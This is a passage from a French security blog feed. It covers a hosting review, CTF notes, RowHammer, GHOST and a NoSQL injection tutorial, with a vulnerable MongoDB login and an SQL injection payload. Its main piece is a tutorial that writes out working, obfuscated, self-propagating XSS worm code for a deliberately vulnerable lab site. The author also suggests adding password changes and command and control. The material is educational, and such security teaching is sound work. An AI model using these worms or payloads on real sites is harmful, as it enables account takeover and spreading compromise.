m'a semblé que le problème les dépassait.</p> <p>J'avais déjà avancé de l'argent sur leur service, il me restait aux alentours de 40 euros, c'est pourquoi j'ai décidé de changer de prestation vers un hébergement mutualisé, la suite vous la connaissez...</p> <p>Si je devais choisir un point positif chez PulseHeberg cela serait les tickets au support, auxquels on reçoit une réponse dans un temps record, environ une quinzaine de minutes, j'ai toujours eu l'impression que le support prenait vraiment mon problème à cœur.</p> <p>Malgré un support à l'écoute ainsi que des prix défiants toute concurrence, leurs compétences gâchent totalement le service.</p> <p>On comprend bien qu'ils essaient de faire de leur mieux, en revanche, comme vous vous en doutez, je ne vous conseille pas cet hébergeur, sauf si vous ne vous intéressez pas à la sécurité de votre site.</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à commenter cet article ainsi qu'à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique. </p> <p>Geluchat.</p>BCTF, 0CTF et BackDoorCTF2015-04-03T21:16:00+02:002015-04-03T21:16:00+02:00Geluchattag:www.dailysecurity.fr,2015-04-03:/bctf-0ctf-backdoorctf<p>J'ai récemment participé au BCTF, au 0CTF ainsi qu'au BackDoorCTF.</p> <p>À cette occasion, j'ai appris de nouvelles failles, notamment de la cryptographie, une méthode d'escape de sandbox Java et une autre forme de XXE.</p> <p>Si vous souhaitez vous renseigner sur ces techniques je vous en fais une petite liste:</p> <ul> <li>Le …</li></ul><p>J'ai récemment participé au BCTF, au 0CTF ainsi qu'au BackDoorCTF.</p> <p>À cette occasion, j'ai appris de nouvelles failles, notamment de la cryptographie, une méthode d'escape de sandbox Java et une autre forme de XXE.</p> <p>Si vous souhaitez vous renseigner sur ces techniques je vous en fais une petite liste:</p> <ul> <li>Le Bit Flipping: Une manière d'altérer un cookie peu protégé par un chiffrement CBC.<br> Plus d'informations <a href="https://github.com/smokeleeteveryday/CTF_WRITEUPS/blob/master/2015/CODEGATE/web/owltube/README.md">ici</a> ou encore <a href="http://www.pwntester.com/blog/2015/03/30/0ctf-2015-mislead-web-300/">ici</a></li> <li>Le <a href="http://clojure.org/">clojure</a>, une sorte de langage natif interprété à l’intérieur de la JVM.<br> Très utile lors des <a href="https://github.com/ctfs/write-ups-2015/tree/master/backdoor-ctf-2015/exploit/noname">escapes</a> de sandbox</li> <li>Les XXE into <em>.docx</em><br> En effet, les parsers de <em>.docx</em> sont sensibles au XXE comme le montre le challenge <a href="http://www.pwntester.com/blog/2015/03/30/0ctf-2015-golden-mac-1-web-300/">GoldenMac</a> du 0CTF</li> </ul> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.<br> Geluchat.</p>La vulnérabilité RowHammer2015-03-17T11:48:00+01:002015-03-17T11:48:00+01:00Geluchattag:www.dailysecurity.fr,2015-03-17:/rowhammer<p>Voici déjà une semaine que cette <a href="http://googleprojectzero.blogspot.in/2015/03/exploiting-dram-rowhammer-bug-to-gain.html">vulnérabilité</a> fait parler d'elle, elle permet une élévation de privilège d'une manière très étonnante.</p> <h3>Le concept</h3> <p>Elle repose sur une erreur de conception matérielle de certaines barrettes de DRAM (Dynamic Random Access Memory).</p> <p>Il y a dans ces dernières des millions de condensateurs très …</p><p>Voici déjà une semaine que cette <a href="http://googleprojectzero.blogspot.in/2015/03/exploiting-dram-rowhammer-bug-to-gain.html">vulnérabilité</a> fait parler d'elle, elle permet une élévation de privilège d'une manière très étonnante.</p> <h3>Le concept</h3> <p>Elle repose sur une erreur de conception matérielle de certaines barrettes de DRAM (Dynamic Random Access Memory).</p> <p>Il y a dans ces dernières des millions de condensateurs très proches les uns des autres.</p> <p>Ainsi, lorsque l'on modifie un bit, il y a des chances pour que les condensateurs adjacents soient modifiés, on appelle ça du 'Bit flipping' </p> <p>Plus précisément, l'exploit fonctionne sur le principe suivant:</p> <p>On cherche à modifier des bits de la mémoire qui ne nous appartiennent pas.<br> Pour cela, on utilise une technique dite RowHammer ("Martellement de colonne") qui consiste à lire un bit sur une colonne puis à vider sa cellule et on répète en boucle.</p> <div class="highlight"><pre><span></span><span class="nl">code1a:</span> <span class="nf">mov</span> <span class="p">(</span><span class="no">X</span><span class="p">),</span> <span class="nv">%eax</span> <span class="c">; Read from address X</span> <span class="no">mov</span> <span class="p">(</span><span class="no">Y</span><span class="p">),</span> <span class="nv">%ebx</span> <span class="c">; Read from address Y</span> <span class="no">clflush</span> <span class="p">(</span><span class="no">X</span><span class="p">)</span> <span class="c">; Flush cache for address X</span> <span class="no">clflush</span> <span class="p">(</span><span class="no">Y</span><span class="p">)</span> <span class="c">; Flush cache for address Y</span> <span class="no">jmp</span> <span class="no">code1a</span> </pre></div> <p>Poussé à l’extrême, cela mène à une élévation de privilèges</p> <h3>Mon avis, les conséquences futurs</h3> <p>J'aime beaucoup les failles liées à un vrai défaut technique et matériel de la part du concepteur.</p> <p>Pour moi, ces vulnérabilités d'un type novateur n'annoncent que les prémisses d'une refonte du concept même des architectures modernes et des matériaux utilisés.</p>Les Vers XSS: Game of Life2015-03-10T17:56:00+01:002015-03-10T17:56:00+01:00Geluchattag:www.dailysecurity.fr,2015-03-10:/les-vers-xss<p>L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.</p> <p>Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.</p> <p>En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée …</p><p>L'apparition des premiers vers informatiques date de 1988 avec la création du ver Morris.</p> <p>Celui-ci n'était pas destructeur mais à néanmoins engendré un coup estimé à 100 millions de dollars suite à plusieurs erreurs de conceptions.</p> <p>En ce qui concerne notre sujet principal, à savoir les Vers XSS, leur arrivée a été plus tardive.</p> <p>Le plus connu d'entre eux est sans aucun doute le ver Samy qui a infecté le réseau MySpace en 2005.</p> <p>Je vous conseille d'ailleurs de lire <a href="https://samy.pl/popular/">l'histoire</a> du créateur de ce ver qui a mis à disposition <a href="https://samy.pl/popular/tech.html">son code</a> ainsi que ses réactions heure par heure pendant le déploiement de son ver.</p> <p>Une fois de plus, ce ver n’était pas nocif et se contentait simplement de poster un message sur le profil de la personne ("But most of all, samy is my hero") ainsi que de l'ajouter en ami.</p> <p>Après cette petite introduction, passons à un exemple.</p> <p>Pour commencer, j'ai créé un site faillible permettant de tester les <strong>vers XSS</strong>, il est composé de quatre parties :</p> <ul> <li>Connexion au site</li> <li>Un tchat en ligne</li> <li>L'affichage du profil</li> <li>L'affichage des profils des autres comptes</li> </ul> <p>Il est disponible <a href="https://github.com/Geluchat/Vulnerable/tree/master/Vers%20XSS">ici</a>.</p> <p>Pour le configurer, rien de plus simple :</p> <ul> <li>Créer une base de données "Ver"</li> <li>Importer le fichier bdd.sql</li> <li>Mettre les bons identifiants dans le fichier bdd.php</li> </ul> <p>Voilà, vous êtes prêts pour la suite de cet article !</p> <p>Si vous avez survolé le site, vous aurez sans doute remarqué que le profil contient une option "humeur".</p> <p>Cette humeur correspond à une sorte de "message d'état", un petit mot que la personne peut laisser sur son profil.</p> <p>Le champ <em>humeur</em> ainsi que le tchat sont tous deux faillibles au XSS.</p> <p>Pour notre exemple nous allons passer par le champ "humeur"; cela nous permettra de laisser cours à notre imagination lors de la dernière partie de cet article.</p> <p>Procédons, maintenant au schéma d'attaque :</p> <ul> <li>Nous allons nous connecter en tant que Alice puis infecter notre profil.</li> <li>Ensuite nous nous connecterons en tant que Admin puis visiterons le profil d'Alice.</li> <li>Enfin nous vérifierons que nous avons bel et bien été infecté à notre tour.</li> </ul> <p>Sans tarder, voici le code du ver que nous allons utiliser :</p> <div class="highlight"><pre><span></span><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">104</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">73</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">102</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">60</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">119</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">62</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">60</span><span class="p">,</span><span class="mi">47</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">62</span><span class="p">)));</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </pre></div> <p>Une petite explication s'impose.</p> <p>On ouvre une requête HTTP :</p> <div class="highlight"><pre><span></span><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> </pre></div> <p>La ligne suivante correspond à <code>humeur=Infected&lt;script id="owned"&gt;</code> :</p> <p><em>ps : Elle est encodée car le Javascript est très pointilleux avec ses mots clés.</em></p> <div class="highlight"><pre><span></span><span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">104</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">73</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">102</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">60</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">119</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">62</span><span class="p">);</span> </pre></div> <p>Passons ensuite à la ligne la plus importante, elle récupère le code du ver grâce à l'id que nous avons défini à l'aide de la première instruction :</p> <div class="highlight"><pre><span></span><span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> </pre></div> <p>On ferme ensuite la balise script :</p> <div class="highlight"><pre><span></span><span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">60</span><span class="p">,</span><span class="mi">47</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">62</span><span class="p">)));</span> </pre></div> <p>Enfin, on envoie le ver sur le profil personnel de la personne et on affiche un pop-up qui signale l'infection :</p> <div class="highlight"><pre><span></span><span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </pre></div> <p>Ce qui donne en action :</p> <p><img src="https://www.dailysecurity.fr/images/Alice-before.png" alt="Alice-before" style="width: 50%;"></p> <hr> <p>On change l'humeur par le script :</p> <hr> <p><img alt="Alice-After" src="https://www.dailysecurity.fr/images/Alice-After.png"></p> <hr> <p>Puis, on se connecte en Admin :</p> <hr> <p><img src="https://www.dailysecurity.fr/images/Admin-Before.png" alt="Admin-before" style="width: 50%;"></p> <hr> <p>Et enfin, on accède à <code>affiche.php?id=2</code>, l'id 2 étant l'id d'Alice :</p> <hr> <p><img alt="Admin-After" src="https://www.dailysecurity.fr/images/Admin-After.png"></p> <hr> <p>On constate que l'utilisateur Admin a bien été infecté en consultant le profil d’Alice !</p> <p><img src="https://dailysecurity.fr/images/ohyes.gif" alt="Oh Yes" style="width: 35%;"></p> <p>Pour aller plus loin, on peut s'amuser à rajouter une fonction qui envoie un message dans le tchat avec le lien du profil à chaque infection.</p> <p>Afin de rendre l'exercice plus amusant, nous allons utiliser une sélection aléatoire de la chaine à envoyer dans le tchat :</p> <div class="highlight"><pre><span></span><span class="kd">var</span> <span class="nx">http</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/profile.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">post</span><span class="o">=</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">104</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">109</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">117</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">73</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">102</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">60</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">32</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">61</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">111</span><span class="p">,</span><span class="mi">119</span><span class="p">,</span><span class="mi">110</span><span class="p">,</span><span class="mi">101</span><span class="p">,</span><span class="mi">100</span><span class="p">,</span><span class="mi">34</span><span class="p">,</span><span class="mi">62</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;owned&quot;</span><span class="p">).</span><span class="nx">innerHTML</span><span class="p">);</span> <span class="nx">post</span><span class="o">=</span><span class="nb">encodeURI</span><span class="p">(</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="mi">60</span><span class="p">,</span><span class="mi">47</span><span class="p">,</span><span class="mi">115</span><span class="p">,</span><span class="mi">99</span><span class="p">,</span><span class="mi">114</span><span class="p">,</span><span class="mi">105</span><span class="p">,</span><span class="mi">112</span><span class="p">,</span><span class="mi">116</span><span class="p">,</span><span class="mi">62</span><span class="p">)));</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-length&quot;</span><span class="p">,</span> <span class="nx">post</span><span class="p">.</span><span class="nx">length</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Connection&quot;</span><span class="p">,</span> <span class="s2">&quot;close&quot;</span><span class="p">);</span> <span class="nx">http</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">randomstring</span><span class="o">=</span><span class="p">[</span><span class="s2">&quot;[PDF] Pirater comme un nul&quot;</span><span class="p">,</span> <span class="s2">&quot;[Tuto] BruteForce Facebook&quot;</span><span class="p">,</span> <span class="s2">&quot;[TUTO] Hack Hotmail&quot;</span><span class="p">,</span> <span class="s2">&quot;[INFO] Aller sur le deepweb&quot;</span><span class="p">];</span> <span class="nx">post</span><span class="o">=</span><span class="s2">&quot;message=&lt;a href=%22./affiche.php?id=1%22&gt;&quot;</span><span class="p">;</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="nx">randomstring</span><span class="p">[</span><span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="nx">randomstring</span><span class="p">.</span><span class="nx">length</span><span class="p">)]);</span> <span class="nx">post</span><span class="o">=</span><span class="nx">post</span><span class="p">.</span><span class="nx">concat</span><span class="p">(</span><span class="s2">&quot;&lt;/a&gt;&quot;</span><span class="p">);</span> <span class="kd">var</span> <span class="nx">http2</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">XMLHttpRequest</span><span class="p">();</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">open</span><span class="p">(</span><span class="s2">&quot;POST&quot;</span><span class="p">,</span> <span class="s2">&quot;/Ver/shout.php&quot;</span><span class="p">,</span> <span class="kc">true</span><span class="p">);</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">setRequestHeader</span><span class="p">(</span><span class="s2">&quot;Content-type&quot;</span><span class="p">,</span> <span class="s2">&quot;application/x-www-form-urlencoded&quot;</span><span class="p">);</span> <span class="nx">http2</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="nx">post</span><span class="p">);</span> <span class="nx">alert</span><span class="p">(</span><span class="s2">&quot;Infected&quot;</span><span class="p">);</span> </pre></div> <p>Vous savez maintenant créer votre propre ver XSS ainsi que le modifier pour lui ajouter des fonctions.</p> <p>Ces fonctions peuvent être diverses et ne sont limitées que par votre imagination (Changement de mot de passe, Command and Control, Bypass Token, etc.).</p> <p>Pour empêcher les Vers XSS sur votre site, il suffit tout simplement de le sécuriser des XSS Classiques (grâce à la fonction html_entities()).</p> <p>Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon <a href="https://twitter.com/Geluchat">Twitter</a> pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.</p> <p>Geluchat.</p>Introduction et présentation de la faille GHOST2015-02-27T20:04:00+01:002015-02-27T20:04:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-27:/faille-ghost<p>Cet article sert d'introduction à la partie actualité commentée du site.</p> <p>Celle-ci sera composée de nouveautés liées aux différentes CVE actuelles ou encore sur des événements de type Capture The Flag qui comporteraient des éléments intéressants.</p> <p>Ayant manqué la faille GHOST (CVE-2015-0235) qui est apparue pendant la création de ce …</p><p>Cet article sert d'introduction à la partie actualité commentée du site.</p> <p>Celle-ci sera composée de nouveautés liées aux différentes CVE actuelles ou encore sur des événements de type Capture The Flag qui comporteraient des éléments intéressants.</p> <p>Ayant manqué la faille GHOST (CVE-2015-0235) qui est apparue pendant la création de ce site, je ne saurais que vous conseiller de lire les différents documents disponibles sur le net.</p> <p>Pour ceux qui ne connaitraient pas cette faille ou qui ne se seraient pas penchés sur le sujet je vais vous faire une courte description de la faille.</p> <p>La faille GHOST, qui tient son nom de la fonction gethostbyname(), est présente dans la version 2.2 de glibc et permet de gagner un accès shell à une machine distante.</p> <p>Il faut savoir que cette faille a été patchée en mai 2013 mais n'a pas été prise en compte par les nouvelles distributions qui n'ont pas associé la mise à jour à un danger.</p> <p>On peut y compter Centos, Fedora ainsi que Ubuntu.</p> <p>Elle consiste en l'exploitation d'un Heap Overflow complexe car il permet de réécrire la mémoire uniquement avec des nombres et des points.</p> <p>Néanmoins, plusieurs exploits ont vu le jour et touchent des programmes importants tels que Apache, Nginx, Mysql ou encore SendMail (EDIT: non exploitable pour ces deux derniers).</p> <p>Pour plus d'informations, l'excellent <a href="http://www.openwall.com/lists/oss-security/2015/01/27/9">PoC</a> de Qualys Security</p>Les NOSQL injections Classique et Blind: Never trust user input2015-02-22T05:21:00+01:002015-02-22T05:21:00+01:00Geluchattag:www.dailysecurity.fr,2015-02-22:/nosql-injections-classique-blind<p>Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données.</p> <p>On peut en citer plusieurs telles que:</p> <ul> <li>DynamoDB</li> <li>MongoDB</li> <li>Oracle NoSQL</li> </ul> <p>Néanmoins, l'apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant …</p><p>Les bases de données NOSQL ont été créées pour répondre au problème de latence des SGBD relationnels sur de grosses bases de données.</p> <p>On peut en citer plusieurs telles que:</p> <ul> <li>DynamoDB</li> <li>MongoDB</li> <li>Oracle NoSQL</li> </ul> <p>Néanmoins, l'apparition de ce nouveau moyen de stockage a fait émerger un type de faille innovant: La NOSQL injections.</p> <p>Pour ceux souhaitant tester chez eux, je leur conseille ce <a href="http://www.pronique.com/blog/installing-mongodb-on-windows-the-wamp-way">tutoriel</a> pour installer MongoDB sur Wamp, ainsi que <a href="http://www.9lessons.info/2013/01/mongodb-php-tutorial.html">celui ci</a> pour l'utilisation avec PHP.</p> <p>Entrons maintenant dans le vif du sujet.</p> <p>Tout le monde connait les <a href="https://www.dailysecurity.fr/images/sql_injection_comic_small.png">SQL injections</a>.</p> <p>Ces dernières reposent sur la création une requête SQL basée sur une string:</p> <div class="highlight"><pre><span></span><span class="nv">$query</span><span class="o">=</span><span class="s2">&quot;SELECT * FROM users where login=&#39;</span><span class="si">$_GET[login]</span><span class="s2">&#39;&quot;</span><span class="p">;</span> </pre></div> <p>Avec $_GET[login] égale à ' OR '1'='1 cela donne:</p> <div class="highlight"><pre><span></span><span class="nv">$query</span><span class="o">=</span><span class="s2">&quot;SELECT * FROM users where login=&#39; &#39; OR &#39;1&#39;=&#39;1&#39;&quot;</span><span class="p">;</span> </pre></div> <p>Rien de très nouveaux.</p> <p>Pour les NOSQL injections, la porte d'entrée passe par la création d'un tableau pour faire la requête, pour vous expliquer voici un script basique d'authentification avec MongoDB:</p> <div class="highlight"><pre><span></span><span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">])</span> <span class="o">&amp;&amp;</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$usr_name</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_name&#39;</span><span class="p">]);</span> <span class="nv">$usr_password</span> <span class="o">=</span> <span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">&#39;usr_password&#39;</span><span class="p">]);</span> <span class="nv">$con</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">MongoClient</span><span class="p">();</span> <span class="c1">// Connexion a MongoDB</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$con</span><span class="p">)</span> <span class="c1">// Si la connexion a fonctionné</span> <span class="p">{</span> <span class="nv">$db</span> <span class="o">=</span> <span class="nv">$con</span><span class="o">-&gt;</span><span class="na">test</span><span class="p">;</span> <span class="nv">$people</span> <span class="o">=</span> <span class="nv">$db</span><span class="o">-&gt;</span><span class="na">people</span><span class="p">;</span> <span class="nv">$qry</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span> <span class="s2">&quot;user&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_name</span><span class="p">,</span> <span class="s2">&quot;password&quot;</span> <span class="o">=&gt;</span> <span class="nv">$usr_password</span> <span class="p">);</span> <span class="c1">// Construction de la requête NOSQL</span> <span class="nv">$result</span> <span class="o">=</span> <span class="nv">$people</span><span class="o">-&gt;</span><span class="na">findOne</span><span class="p">(</span><span class="nv">$qry</span><span class="p">);</span> <span class="c1">// Recherche de l&#39;utilisateur</span> <span class="k">if</span> <span class="p">(</span><span class="nv">$result</span><span class="p">)</span> <span class="c1">// Si les identifiants correspondes on connecte l&#39;utilisateur</span> <span class="p">{</span> <span class="k">echo</span><span class="p">(</span><span class="s2">&quot;Bienvenue Administrateur&quot;</span><span class="p">);</span> <span class="c1">// Zone Admin</span> <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">die</span><span class="p">(</span><span class="s2">&quot;Mongo DB not installed&quot;</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">echo</span><span class="s1">&#39;</span> <span class="s1"> &lt;form action=&quot;&quot; method=&quot;POST&quot;&gt;</span> <span class="s1"> Login:</span> <span class="s1"> &lt;input type=&quot;text&quot; id=&quot;usr_name&quot; name=&quot;usr_name&quot; /&gt;</span> <span class="s1"> Password:</span> <span class="s1"> &lt;input type=&quot;password&quot; id=&quot;usr_password&quot; name=&quot;usr_password&quot; /&gt;</span> <span class="s1"> &lt;input name=&quot;submitForm&quot; id=&quot;submitForm&quot; type=&quot;submit&quot; value=&quot;Login&quot; /&gt;</span> <span class="s1"> &lt;/form&gt;</span> <span class="s1">&#39;</span><span class="p">;</span> </pre></div> <p>On ajoute un utilisateur dans la base de données:</p> <div 